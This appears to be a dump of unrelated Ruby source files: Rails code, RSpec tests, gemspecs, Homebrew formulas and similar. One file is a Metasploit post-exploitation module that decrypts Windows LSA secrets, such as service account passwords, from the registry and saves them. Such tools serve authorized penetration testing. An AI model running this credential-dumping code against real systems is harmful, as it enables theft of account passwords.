:people
].each do |type|
self.send(type).each { |t| enqueue_sync(t, t.class.name.demodulize) }
end
end
def self.enqueue_sync(org, type)
if org.updated_at > 2.hours.ago
Resque.enqueue(SyncCapsuleData, org.id, type)
end
end
def self.orgs
CapsuleCRM::Organisation.find_all(:tag => "Membership")
end
def self.people
CapsuleCRM::Person.find_all(:tag => "Membership")
end
end
| 20.709677 | 104 | 0.676012 |
283f70b852078e109f52c0437bf132c50cc88377 | 827 | # frozen_string_literal: true
RSpec.feature "List Schedule for System Admin", :all_dbs do
let!(:current_user) { User.authenticate!(roles: ["System Admin"]) }
context "Correct buttons are displayed" do
let!(:hearing) { create(:hearing) }
let!(:hearing_day) { create(:hearing_day) }
scenario "Correct days are displayed" do
visit "hearings/schedule"
expect(page).to have_content(Hearing::HEARING_TYPES[HearingDay.first.request_type.to_sym])
end
scenario "All buttons are visible" do
visit "hearings/schedule"
expect(page).to have_content(COPY::HEARING_SCHEDULE_JUDGE_DEFAULT_VIEW_PAGE_HEADER)
expect(page).to have_content("Schedule Veterans")
expect(page).to have_content("Build Schedule")
expect(page).to have_content("Add Hearing Date")
end
end
end
| 31.807692 | 96 | 0.71584 |
f83415acfbf52f3aff9207dea5d70412ac83a261 | 1,205 | # DO NOT EDIT THIS FILE DIRECTLY! Instead, use lib/gemspec.rb to generate it.
Gem::Specification.new do |s|
s.name = %q{refinerycms-base}
s.version = %q{1.1.0}
s.summary = %q{Base engine for Refinery CMS}
s.description = %q{This provides a base for Refinery CMS which handles things like settings on the Refinery namespace.}
s.date = %q{2011-06-02}
s.email = %q{[email protected]}
s.homepage = %q{http://refinerycms.com}
s.rubyforge_project = %q{refinerycms}
s.authors = ['Resolve Digital', 'Philip Arndt', 'David Jones', 'Steven Heidel']
s.license = %q{MIT}
s.require_paths = %w(lib)
s.executables = %w()
s.files = [
'db',
'db/migrate',
'db/migrate/20100913234706_create_refinerycms_core_schema.rb',
'db/migrate/20101217113424_add_locale_to_slugs.rb',
'lib',
'lib/base',
'lib/base/refinery.rb',
'lib/gemspec.rb',
'lib/generators',
'lib/generators/refinerycms_base_generator.rb',
'lib/refinery',
'lib/refinery/version.rb',
'lib/refinerycms-base.rb',
'license.md',
'refinerycms-base.gemspec'
]
end
| 34.428571 | 127 | 0.609129 |
bb4c7c1816c8abce0474ef30eaeb89fc697ab027 | 277 | FactoryBot.define do
# Define your Spree extensions Factories within this file to enable applications, and other extensions to use and override them.
#
# Example adding this to your spec_helper will load these Factories for use:
# require 'spree_cropper/factories'
end
| 39.571429 | 130 | 0.787004 |
793e9d0a65ced9ede7fa65708974532c30b28dbb | 1,615 | class MediaInfo < Formula
desc "Unified display of technical and tag data for audio/video"
homepage "https://mediaarea.net/"
url "https://mediaarea.net/download/binary/mediainfo/0.7.98/MediaInfo_CLI_0.7.98_GNU_FromSource.tar.bz2"
version "0.7.98"
sha256 "d194ff6fb32880e5f0e3c11b2d9139c65f647b8049d57258258870e9f2b316e4"
bottle do
cellar :any
sha256 "39f1004281cd63be5c93d71e00846d46f1996c10adad8ea3714e26b2cb37483d" => :sierra
sha256 "caaa25dd252801f0aa1a14926625fb20bea751ccaced9d6a0b700bfb427faf52" => :el_capitan
sha256 "afbc58c6d01aa35cca42ce7d103836c495cfa621ef093cb2c048125a789a6167" => :yosemite
end
depends_on "pkg-config" => :build
def install
cd "ZenLib/Project/GNU/Library" do
args = ["--disable-debug",
"--disable-dependency-tracking",
"--enable-static",
"--enable-shared",
"--prefix=#{prefix}"]
system "./configure", *args
system "make", "install"
end
cd "MediaInfoLib/Project/GNU/Library" do
args = ["--disable-debug",
"--disable-dependency-tracking",
"--with-libcurl",
"--enable-static",
"--enable-shared",
"--prefix=#{prefix}"]
system "./configure", *args
system "make", "install"
end
cd "MediaInfo/Project/GNU/CLI" do
system "./configure", "--disable-debug", "--disable-dependency-tracking",
"--prefix=#{prefix}"
system "make", "install"
end
end
test do
pipe_output("#{bin}/mediainfo", test_fixtures("test.mp3"))
end
end
| 32.3 | 106 | 0.634056 |
38845bd42c64e686f669cedeff48db7c1d3e3c76 | 1,321 | class Dune < Formula
desc "Composable build system for OCaml"
homepage "https://dune.build/"
url "https://github.com/ocaml/dune/releases/download/2.6.1/dune-2.6.1.tbz"
sha256 "5ef959f286448ee172f1cffc86c439a6f7b662676e6015b282db071bb88899a0"
head "https://github.com/ocaml/dune.git"
bottle do
cellar :any_skip_relocation
sha256 "20b66d941c17e2490aa2aff29db3aea6b5f857bc622affdae9621bd8f85ef175" => :catalina
sha256 "359eb57c1c81d632082e05dfd43299cd972271beff51817d9f8463369b096f0b" => :mojave
sha256 "2806c727b972d5e3b8d1050155c3cc7380e1ce5d5dd2939d8839df9958be8d3d" => :high_sierra
sha256 "b534a47eae1ba3e05a8949bc0b27375301ed808e65f466743822f0c5d865ba7a" => :x86_64_linux
end
depends_on "ocaml" => [:build, :test]
def install
system "ocaml", "configure.ml"
system "ocaml", "bootstrap.ml"
system "./dune.exe", "build", "-p", "dune", "--profile", "dune-bootstrap"
bin.install "_build/default/bin/dune.exe"
mv bin/"dune.exe", bin/"dune"
end
test do
contents = "bar"
target_fname = "foo.txt"
(testpath/"dune").write("(rule (with-stdout-to #{target_fname} (echo #{contents})))")
system bin/"dune", "build", "foo.txt", "--root", "."
output = File.read(testpath/"_build/default/#{target_fname}")
assert_match contents, output
end
end
| 37.742857 | 94 | 0.72218 |
6a74ab916022cc006cdb762c5a09cae58adcc05a | 1,101 | require File.expand_path('../../../../spec_helper', __FILE__)
require 'set'
describe "SortedSet#classify" do
before(:each) do
@set = SortedSet["one", "two", "three", "four"]
end
it "yields each Object in self in sorted order" do
res = []
@set.classify { |x| res << x }
res.should == ["one", "two", "three", "four"].sort
end
ruby_version_is "" ... "1.8.8" do
it "raises a LocalJumpError when passed no block" do
lambda { @set.classify }.should raise_error(LocalJumpError)
end
end
ruby_version_is "1.8.8" do
it "returns an Enumerator when passed no block" do
enum = @set.classify
enum.should be_an_instance_of(enumerator_class)
classified = enum.each { |x| x.length }
classified.should == { 3 => SortedSet["one", "two"], 4 => SortedSet["four"], 5 => SortedSet["three"] }
end
end
it "classifies the Objects in self based on the block's return value" do
classified = @set.classify { |x| x.length }
classified.should == { 3 => SortedSet["one", "two"], 4 => SortedSet["four"], 5 => SortedSet["three"] }
end
end
| 30.583333 | 108 | 0.625795 |
ab64f0df2d2957bdcf21662cc63f0fc73571b866 | 328 | # -*- encoding: utf-8 -*-
#
# Para manter compatibilidade com ActiveModel
require 'date'
require 'time'
class Date
def self.current
Time.respond_to?(:zone) && Time.zone ? Time.zone.today : Date.today
end
end
class Time
def self.current
Time.respond_to?(:zone) && Time.zone ? Time.zone.now : Time.now
end
end
| 16.4 | 71 | 0.679878 |
f802e30dda16ab2742d96e397364f395bedffd72 | 2,813 | # frozen_string_literal: true
require_relative "../test_helper"
class ResponseTest < Minitest::Test
def setup
@redis = DB.pool.checkout
@meeting = Meeting.new(id: :test, account: :account)
@meeting.cleanup
@person = Person.new(id: :foo, name: :bar)
end
def teardown
@meeting.cleanup
DB.pool.checkin
end
def test_winner
@meeting << @person
@person.meeting_id = :test
response = Response.winner(@person)
assert_equal :winner, response.type
json = response.as_json(additional_context)
assert_instance_of Hash, json
sharing_action = json.dig("content", "body", 0, "sections", 2, "items", 0, "value")
assert_equal "mark-sharing:account.test.foo", sharing_action
draw_again_action = json.dig("content", "body", 0, "sections", 2, "items", 1, "value")
assert_equal "draw-again:account.test", draw_again_action
end
def test_unknown_meeting_id
response = Response.unknown_meeting_id(:foo)
assert response.sendable?
assert_equal :unknown_meeting_id, response.type
assert_instance_of Hash, response.as_json(additional_context)
end
def test_person_sharing
response = Response.person_sharing(:foo)
assert response.sendable?
assert_equal :person_sharing, response.type
json = response.as_json(additional_context)
assert_instance_of Hash, json
draw_again_action = json.dig("content", "body", 0, "sections", 1, "items", 0, "value")
assert_equal "draw-again:account.foo", draw_again_action
reset_shared_action = json.dig("content", "body", 0, "sections", 1, "items", 1)
assert_nil reset_shared_action
end
def test_sharing_reset
response = Response.sharing_reset(:foo)
assert response.sendable?
assert_equal :sharing_reset, response.type
json = response.as_json(additional_context)
assert_instance_of Hash, json
draw_again_action = json.dig("content", "body", 0, "sections", 1, "items", 0, "value")
assert_equal "draw-again:account.foo", draw_again_action
end
def test_empty_draw
response = Response.empty_draw(:foo)
assert response.sendable?
assert_equal :empty_draw, response.type
json = response.as_json(additional_context)
assert_instance_of Hash, json
draw_again_action = json.dig("content", "body", 0, "sections", 1, "items", 0, "value")
assert_equal "draw-again:account.foo", draw_again_action
reset_shared_action = json.dig("content", "body", 0, "sections", 1, "items", 1, "value")
assert_equal "reset-shared:account.foo", reset_shared_action
end
def test_blank
response = Response.blank
assert_equal :blank, response.type
refute response.sendable?
end
def additional_context
{
account_id: :account,
to_jid: :to_jid,
robot_jid: :robot_jid
}
end
end
| 29 | 92 | 0.707074 |
ff26cbe24ba0a9a062b221e49e09bb4ab8cee718 | 366 | cask 'maltego-ce' do
version '4.0.11.9358'
sha256 'eed48ed7d6a32cbb6d963c1af0c0fd7f9c78e89351aa746804889e521469ac3f'
url "https://www.paterva.com/malv#{version.major}/community/MaltegoCE.v#{version}.dmg"
name 'Maltego CE'
homepage 'https://www.paterva.com/web7/buy/maltego-clients/maltego-ce.php'
app "Maltego CE v#{version.major_minor_patch}.app"
end
| 33.272727 | 88 | 0.76776 |
267eeee61339fca539ee7e934bbda9d92aba5e96 | 842 | # == Schema Information
#
# Table name: illustration_crops
#
# id :integer not null, primary key
# illustration_id :integer
# image_file_name :string(255)
# image_content_type :string(255)
# image_file_size :integer
# image_updated_at :datetime
# created_at :datetime
# updated_at :datetime
# image_processing :boolean
# crop_details :text
# image_meta :text
# storage_location :string(255)
# smart_crop_details :text
#
require 'rails_helper'
RSpec.describe IllustrationCrop, :type => :model do
it {should belong_to(:illustration)}
it {should have_attached_file(:image)}
#it {should validate_attachment_presence(:image)}
#it {should validate_attachment_content_type(:image).allowing('image/png').allowing('image/jpeg').rejecting('text/plain')}
end
| 29.034483 | 124 | 0.693587 |
033f0a36013c5fc3dda3bdfe4ff0348eebf762c5 | 274 | module WordpressHelper
def wordpress_age(hit)
content_tag(:span,
t('views.otrs.age',
age: time_ago_in_words(Time.parse(hit['date']))))
end
def wordpress_excerpt(hit)
strip_tags(hit['excerpt']['rendered']).html_safe
end
end
| 22.833333 | 67 | 0.631387 |
61cf81a60128414906581dbcd0e7998c103691e3 | 1,656 | # encoding: utf-8
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require '../azure_mgmt_signlr/lib/module_definition'
require '../azure_mgmt_signlr/lib/version'
Gem::Specification.new do |spec|
spec.name = 'azure_mgmt_signlr'
spec.version = Azure::Signlr::Mgmt::VERSION
spec.authors = 'Microsoft Corporation'
spec.email = '[email protected]'
spec.homepage = 'https://aka.ms/azure-sdk-for-ruby'
spec.summary = 'Official Ruby client library to consume Signlr'
spec.license = 'MIT'
spec.metadata = {
'bug_tracker_uri' => 'https://github.com/Azure/azure-sdk-for-ruby/issues',
'changelog_uri' => 'https://github.com/Azure/azure-sdk-for-ruby/blob/master/ChangeLog.md',
'documentation_uri' => 'https://azure.microsoft.com/en-us/develop/ruby/',
'homepage_uri' => 'https://aka.ms/azure-sdk-for-ruby'
}
spec.files = Dir["LICENSE.txt", "lib/**/*"]
spec.files.reject! { |fn| fn.include? "build.json" }
spec.bindir = 'bin'
spec.executables = spec.files.grep(%r{^exe/}) { |f| File.basename(f) }
spec.require_paths = ['lib']
spec.required_ruby_version = '>= 2.0.0'
spec.add_development_dependency 'bundler', '~> 2.2.10'
spec.add_development_dependency 'rake', '~> 10'
spec.add_development_dependency 'rspec', '~> 3'
spec.add_development_dependency 'dotenv', '~> 2'
spec.add_runtime_dependency 'ms_rest_azure', '~> 0.12.0'
end
| 40.390244 | 94 | 0.677536 |
e9ee40a4c2e9c1b48af068090ae48570f9d2b396 | 869 | # frozen_string_literal: true
module Stupidedi
module Versions
module ThirtyTen
module SegmentDefs
s = Schema
e = ElementDefs
r = ElementReqs
BCH = s::SegmentDef.build(:BCH, "Beginning Segment for Purchase Order Change",
"To indicate the beginning of the Purchase Order Change Transaction
Set and transmit identifying numbers and dates",
e::E353 .simple_use(r::Mandatory, s::RepeatCount.bounded(1)),
e::E92 .simple_use(r::Mandatory, s::RepeatCount.bounded(1)),
e::E324 .simple_use(r::Mandatory, s::RepeatCount.bounded(1)),
e::E328 .simple_use(r::Mandatory, s::RepeatCount.bounded(1)),
e::E327 .simple_use(r::Optional, s::RepeatCount.bounded(1)),
e::E323 .simple_use(r::Mandatory, s::RepeatCount.bounded(1)))
end
end
end
end
| 37.782609 | 86 | 0.637514 |
4a56506ba03f7b60ced7895810dd8945bcf74794 | 1,974 | class Packetbeat < Formula
desc "Lightweight Shipper for Network Data"
homepage "https://www.elastic.co/products/beats/packetbeat"
url "https://github.com/elastic/beats/archive/v5.4.3.tar.gz"
sha256 "a7714383de1a610c7318e8a2751a230b64c8ca243058abd59b1886aabcc3965b"
head "https://github.com/elastic/beats.git"
bottle do
cellar :any_skip_relocation
sha256 "f7fa33228dce3364c6312b5b68d85ac13153e14fb1bbdf78a2748010fd1f2423" => :sierra
sha256 "28a47907c1074b01c7ce9f22e62b2a16fcbb2f3d6d7cc70b5a620e15fbb0beed" => :el_capitan
sha256 "0f3a170e874403fe513e1c95aa1f73e92c9fe7925cc0ed81a44f92f96281e188" => :yosemite
end
depends_on "go" => :build
def install
gopath = buildpath/"gopath"
(gopath/"src/github.com/elastic/beats").install Dir["{*,.git,.gitignore}"]
ENV["GOPATH"] = gopath
cd gopath/"src/github.com/elastic/beats/packetbeat" do
system "make"
libexec.install "packetbeat"
inreplace "packetbeat.yml", "packetbeat.interfaces.device: any", "packetbeat.interfaces.device: en0"
(etc/"packetbeat").install("packetbeat.yml", "packetbeat.template.json", "packetbeat.template-es2x.json")
end
(bin/"packetbeat").write <<-EOS.undent
#!/bin/sh
exec #{libexec}/packetbeat -path.config #{etc}/packetbeat \
-path.home #{prefix} -path.logs #{var}/log/packetbeat \
-path.data #{var}/packetbeat $@
EOS
end
plist_options :manual => "packetbeat"
def plist; <<-EOS.undent
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>#{plist_name}</string>
<key>Program</key>
<string>#{opt_bin}/packetbeat</string>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
EOS
end
test do
system "#{bin}/packetbeat", "--devices"
end
end
| 30.84375 | 111 | 0.676798 |
7a7da63429d3a046d8c1d661f6f675092d8856a4 | 508 | module Roles
roles = [
{
label: "System Admin",
description: "Super user, given only to people who can manage the entire system (Team JD8112)."
},
{
label: "Expo Admin",
description: "Expo admin, for all intents will be identical to system admin."
},
{
label: "Team Member",
description: "Manages their own project at a fair. Can edit descriptions of their own projects."
}
]
roles.each do |role|
Role.find_or_create_by!(role)
end
end
| 24.190476 | 102 | 0.627953 |
abe20a3f39a39bb1d4646667d2ef11aa2a75b9bb | 1,994 | class ProfilesController < ApplicationController
before_action :set_profile, only: [:show, :edit, :update, :destroy]
before_action :authenticate_user!
# GET /profiles
# GET /profiles.json
def index
@profiles = Profile.all
end
# GET /profiles/1
# GET /profiles/1.json
def show
end
# GET /profiles/new
def new
@profile = Profile.new
end
# GET /profiles/1/edit
def edit
end
# POST /profiles
# POST /profiles.json
def create
@profile = Profile.new(profile_params)
respond_to do |format|
if @profile.save
format.html { redirect_to @profile, notice: 'Profile was successfully created.' }
format.json { render :show, status: :created, location: @profile }
else
format.html { render :new }
format.json { render json: @profile.errors, status: :unprocessable_entity }
end
end
end
# PATCH/PUT /profiles/1
# PATCH/PUT /profiles/1.json
def update
respond_to do |format|
if @profile.update(profile_params)
format.html { redirect_to @profile, notice: 'Profile was successfully updated.' }
format.json { render :show, status: :ok, location: @profile }
else
format.html { render :edit }
format.json { render json: @profile.errors, status: :unprocessable_entity }
end
end
end
# DELETE /profiles/1
# DELETE /profiles/1.json
def destroy
@profile.destroy
respond_to do |format|
format.html { redirect_to profiles_url, notice: 'Profile was successfully destroyed.' }
format.json { head :no_content }
end
end
private
# Use callbacks to share common setup or constraints between actions.
def set_profile
@profile = Profile.find(params[:id])
end
# Only allow a list of trusted parameters through.
def profile_params
params.require(:profile).permit(:name, :username, :website, :bio)
end
end
| 26.586667 | 94 | 0.636409 |
7956305a739f4c59dc2320e569f4b741cc4f41b7 | 419 | require 'test_helper'
require 'generators/landing_boi/landing_boi_generator'
module LandingBoi
class LandingBoiGeneratorTest < Rails::Generators::TestCase
tests LandingBoiGenerator
destination Rails.root.join('tmp/generators')
setup :prepare_destination
# test "generator runs without errors" do
# assert_nothing_raised do
# run_generator ["arguments"]
# end
# end
end
end
| 24.647059 | 61 | 0.735084 |
2624396d540b5c7089a5a78c7b5b8ce02ba4a1b7 | 948 | Spree::Product.class_eval do
def option_values
@_option_values ||= Spree::OptionValue.for_product(self)
end
def grouped_option_values
@_grouped_option_values ||= option_values.group_by(&:option_type)
@_grouped_option_values.sort_by { |option_type, option_values| option_type.position }
end
def variants_for_option_value(value)
@_variant_option_values ||= variants.includes(:option_values)
@_variant_option_values.select { |i| i.option_value_ids.include?(value.id) }
end
def variant_options_hash
return @_variant_options_hash if @_variant_options_hash
hash = {}
variants.includes(:option_values).each do |variant|
variant.option_values.each do |ov|
otid = ov.option_type_id.to_s
ovid = ov.id.to_s
hash[otid] ||= {}
hash[otid][ovid] ||= {}
hash[otid][ovid][variant.id.to_s] = variant.to_hash
end
end
@_variant_options_hash = hash
end
end | 29.625 | 89 | 0.703586 |
1c88fda8b4f708b130db93f22b09db82f736286c | 4,269 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/windows/priv'
require 'msf/core/post/common'
require 'msf/core/post/windows/registry'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Common
include Msf::Post::Windows::Registry
def initialize(info={})
super(update_info(info,
'Name' => "Windows Enumerate LSA Secrets",
'Description' => %q{
This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is:
HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt
code from cachedump.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Rob Bathurst <rob.bathurst[at]foundstone.com>']
))
end
# Decrypted LSA key is passed into this method
def get_secret(lsa_key)
output = "\n"
# LSA Secret key location within the registry
root_regkey = "HKLM\\Security\\Policy\\Secrets\\"
services_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\"
secrets = registry_enumkeys(root_regkey)
secrets.each do |secret_regkey|
sk_arr = registry_enumkeys(root_regkey + "\\" + secret_regkey)
next unless sk_arr
sk_arr.each do |mkeys|
# CurrVal stores the currently set value of the key. In the case
# of services, this is usually the password for the service
# account.
next unless mkeys == "CurrVal"
val_key = root_regkey + "\\" + secret_regkey + "\\" + mkeys
encrypted_secret = registry_getvaldata(val_key, "")
next unless encrypted_secret
if lsa_vista_style?
# Magic happens here
decrypted = decrypt_lsa_data(encrypted_secret, lsa_key)
else
# and here
if sysinfo['Architecture'] == ARCH_X64
encrypted_secret = encrypted_secret[0x10..-1]
else # 32 bits
encrypted_secret = encrypted_secret[0xC..-1]
end
decrypted = decrypt_secret_data(encrypted_secret, lsa_key)
end
next unless decrypted.length > 0
# axe all the non-printables
decrypted = decrypted.scan(/[[:print:]]/).join
if secret_regkey.start_with?("_SC_")
# Service secrets are named like "_SC_yourmom" for a service
# with name "yourmom". Strip off the "_SC_" to get something
# we can lookup in the list of services to find out what
# account this secret is associated with.
svc_name = secret_regkey[4,secret_regkey.length]
svc_user = registry_getvaldata(services_key + svc_name, "ObjectName")
# if the unencrypted value is not blank and is a service, print
print_good("Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n")
output << "Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n"
else
# if the unencrypted value is not blank, print
print_good("Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n")
output << "Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n"
end
end
end
return output
end
# The sauce starts here
def run
hostname = sysinfo['Computer']
print_status("Executing module against #{hostname}")
print_status('Obtaining boot key...')
bootkey = capture_boot_key
vprint_status("Boot key: #{bootkey.unpack("H*")[0]}")
print_status('Obtaining Lsa key...')
lsa_key = capture_lsa_key(bootkey)
if lsa_key.nil?
print_error("Could not retrieve LSA key. Are you SYSTEM?")
return
end
vprint_status("Lsa Key: #{lsa_key.unpack("H*")[0]}")
secrets = hostname + get_secret(lsa_key)
print_status("Writing to loot...")
path = store_loot(
'registry.lsa.sec',
'text/plain',
session,
secrets,
'reg_lsa_secrts.txt',
'Registry LSA Secret Decrypted File'
)
print_status("Data saved in: #{path}")
end
end
| 32.587786 | 115 | 0.635278 |
f8f7a57b115f639dfce02e3068c22604f0f8bd7f | 7,819 | # encoding: utf-8
require 'spec_helper'
describe "mail encoding" do
it "should allow you to assign a mail wide charset" do
mail = Mail.new
mail.charset = 'utf-8'
mail.charset.should eq 'utf-8'
end
describe "using default encoding" do
it "should allow you to send in unencoded strings to fields and encode them" do
mail = Mail.new
mail.charset = 'utf-8'
mail.subject = "This is あ string"
result = "Subject: =?UTF-8?Q?This_is_=E3=81=82_string?=\r\n"
mail[:subject].encoded.should eq result
end
it "should allow you to send in unencoded strings to address fields and encode them" do
mail = Mail.new
mail.charset = 'utf-8'
mail.to = "Mikel Lindsああr <[email protected]>"
result = "To: Mikel =?UTF-8?B?TGluZHPjgYLjgYJy?= <[email protected]>\r\n"
mail[:to].encoded.should eq result
end
it "should allow you to send in unencoded strings to address fields and encode them" do
mail = Mail.new
mail.charset = 'utf-8'
mail.to = "あdあ <[email protected]>"
result = "To: =?UTF-8?B?44GCZOOBgg==?= <[email protected]>\r\n"
mail[:to].encoded.should eq result
end
it "should allow you to send in multiple unencoded strings to address fields and encode them" do
mail = Mail.new
mail.charset = 'utf-8'
mail.to = ["Mikel Lindsああr <[email protected]>", "あdあ <[email protected]>"]
result = "To: Mikel =?UTF-8?B?TGluZHPjgYLjgYJy?= <[email protected]>, \r\n\s=?UTF-8?B?44GCZOOBgg==?= <[email protected]>\r\n"
mail[:to].encoded.should eq result
end
it "should allow you to send unquoted non us-ascii strings, with spaces in them" do
mail = Mail.new
mail.charset = 'utf-8'
mail.to = ["Foo áëô îü <[email protected]>"]
result = "To: Foo =?UTF-8?B?w6HDq8O0?= =?UTF-8?B?IMOuw7w=?= <[email protected]>\r\n"
mail[:to].encoded.should eq result
end
it "should allow you to send in multiple unencoded strings to any address field" do
mail = Mail.new
mail.charset = 'utf-8'
['To', 'From', 'Cc', 'Reply-To'].each do |field|
mail.send("#{field.downcase.gsub("-", '_')}=", ["Mikel Lindsああr <[email protected]>", "あdあ <[email protected]>"])
result = "#{field}: Mikel =?UTF-8?B?TGluZHPjgYLjgYJy?= <[email protected]>, \r\n\s=?UTF-8?B?44GCZOOBgg==?= <[email protected]>\r\n"
mail[field].encoded.should eq result
end
end
it "should handle groups" do
mail = Mail.new
mail.charset = 'utf-8'
mail.to = "[email protected], group: [email protected], [email protected];"
result = "To: [email protected], \r\n\sgroup: [email protected], \r\n\[email protected];\r\n"
mail[:to].encoded.should eq result
end
it "should handle groups with funky characters" do
mail = Mail.new
mail.charset = 'utf-8'
mail.to = '"Mikel Lindsああr" <[email protected]>, group: "あdあ" <[email protected]>, [email protected];'
result = "To: =?UTF-8?B?TWlrZWwgTGluZHPjgYLjgYJy?= <[email protected]>, \r\n\sgroup: =?UTF-8?B?44GCZOOBgg==?= <[email protected]>, \r\n\[email protected];\r\n"
mail[:to].encoded.should eq result
end
describe "quoting token safe chars" do
it "should not quote the display name if unquoted" do
mail = Mail.new
mail.charset = 'utf-8'
mail.to = 'Mikel Lindsaar <[email protected]>'
mail[:to].encoded.should eq %{To: Mikel Lindsaar <[email protected]>\r\n}
end
it "should not quote the display name if already quoted" do
mail = Mail.new
mail.charset = 'utf-8'
mail.to = '"Mikel Lindsaar" <[email protected]>'
mail[:to].encoded.should eq %{To: Mikel Lindsaar <[email protected]>\r\n}
end
end
describe "quoting token unsafe chars" do
it "should quote the display name" do
pending
mail = Mail.new
mail.charset = 'utf-8'
mail.to = "Mikel @ me Lindsaar <[email protected]>"
mail[:to].encoded.should eq %{To: "Mikel @ me Lindsaar" <[email protected]>\r\n}
end
it "should preserve quotes needed from the user and not double quote" do
mail = Mail.new
mail.charset = 'utf-8'
mail.to = %{"Mikel @ me Lindsaar" <[email protected]>}
mail[:to].encoded.should eq %{To: "Mikel @ me Lindsaar" <[email protected]>\r\n}
end
end
end
describe "specifying an email wide encoding" do
it "should allow you to send in unencoded strings to fields and encode them" do
mail = Mail.new
mail.charset = 'ISO-8859-1'
subject = "This is あ string"
subject.force_encoding('ISO8859-1') if RUBY_VERSION > '1.9'
mail.subject = subject
result = mail[:subject].encoded
string = "Subject: =?ISO-8859-1?Q?This_is_=E3=81=82_string?=\r\n"
if RUBY_VERSION > '1.9'
string.force_encoding('ISO8859-1')
result.force_encoding('ISO8859-1')
end
result.should eq string
end
it "should allow you to send in unencoded strings to address fields and encode them" do
mail = Mail.new
mail.charset = 'ISO-8859-1'
string = "Mikel Lindsああr <[email protected]>"
string.force_encoding('ISO8859-1') if RUBY_VERSION > '1.9'
mail.to = string
result = mail[:to].encoded
string = "To: Mikel =?ISO-8859-1?B?TGluZHPjgYLjgYJy?= <[email protected]>\r\n"
if RUBY_VERSION > '1.9'
string.force_encoding('ISO8859-1')
result.force_encoding('ISO8859-1')
end
result.should eq string
end
it "should allow you to send in multiple unencoded strings to address fields and encode them" do
mail = Mail.new
mail.charset = 'ISO-8859-1'
array = ["Mikel Lindsああr <[email protected]>", "あdあ <[email protected]>"]
array.map! { |a| a.force_encoding('ISO8859-1') } if RUBY_VERSION > '1.9'
mail.to = array
result = mail[:to].encoded
string = "To: Mikel =?ISO-8859-1?B?TGluZHPjgYLjgYJy?= <[email protected]>, \r\n\s=?ISO-8859-1?B?44GCZOOBgg==?= <[email protected]>\r\n"
if RUBY_VERSION > '1.9'
string.force_encoding('ISO8859-1')
result.force_encoding('ISO8859-1')
end
result.should eq string
end
it "should allow you to send in multiple unencoded strings to any address field" do
mail = Mail.new
array = ["Mikel Lindsああr <[email protected]>", "あdあ <[email protected]>"]
array.map! { |a| a.force_encoding('ISO8859-1') } if RUBY_VERSION > '1.9'
mail.charset = 'ISO-8859-1'
['To', 'From', 'Cc', 'Reply-To'].each do |field|
mail.send("#{field.downcase.gsub("-", '_')}=", array)
string = "#{field}: Mikel =?ISO-8859-1?B?TGluZHPjgYLjgYJy?= <[email protected]>, \r\n\s=?ISO-8859-1?B?44GCZOOBgg==?= <[email protected]>\r\n"
result = mail[field].encoded
if RUBY_VERSION > '1.9'
string.force_encoding('ISO8859-1')
result.force_encoding('ISO8859-1')
end
result.should eq string
end
end
end
it "should let you define a charset per part" do
mail = Mail.new
part = Mail::Part.new
part.content_type = "text/html"
part.charset = "ISO-8859-1"
part.body = "blah"
mail.add_part(part)
mail.parts[0].content_type.should eq "text/html; charset=ISO-8859-1"
end
it "should skip invalid characters" do
m = Mail.new
m['Subject'] = Mail::SubjectField.new("=?utf-8?Q?Hello_=96_World?=")
if RUBY_VERSION > '1.9'
lambda { m.subject.should be_valid_encoding }.should_not raise_error
else
m.subject.should eq "Hello World"
end
end
end
| 39.291457 | 166 | 0.630388 |
bf5cf2a2e0197f1779278b6d1240dea92aa8dcd3 | 1,855 | # Copyright 2015 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'google/apis/compute_v1/service.rb'
require 'google/apis/compute_v1/classes.rb'
require 'google/apis/compute_v1/representations.rb'
module Google
module Apis
# Compute Engine API
#
# Creates and runs virtual machines on Google Cloud Platform.
#
# @see https://developers.google.com/compute/docs/reference/latest/
module ComputeV1
VERSION = 'V1'
REVISION = '20161019'
# View and manage your data across Google Cloud Platform services
AUTH_CLOUD_PLATFORM = 'https://www.googleapis.com/auth/cloud-platform'
# View and manage your Google Compute Engine resources
AUTH_COMPUTE = 'https://www.googleapis.com/auth/compute'
# View your Google Compute Engine resources
AUTH_COMPUTE_READONLY = 'https://www.googleapis.com/auth/compute.readonly'
# Manage your data and permissions in Google Cloud Storage
AUTH_DEVSTORAGE_FULL_CONTROL = 'https://www.googleapis.com/auth/devstorage.full_control'
# View your data in Google Cloud Storage
AUTH_DEVSTORAGE_READ_ONLY = 'https://www.googleapis.com/auth/devstorage.read_only'
# Manage your data in Google Cloud Storage
AUTH_DEVSTORAGE_READ_WRITE = 'https://www.googleapis.com/auth/devstorage.read_write'
end
end
end
| 37.1 | 94 | 0.738544 |
33408bb4aefa417f2933c80620c45fd5e6c7fd50 | 1,507 |
# This file is automatically generated by puppet-swagger-generator and
# any manual changes are likely to be clobbered when the files
# are regenerated.
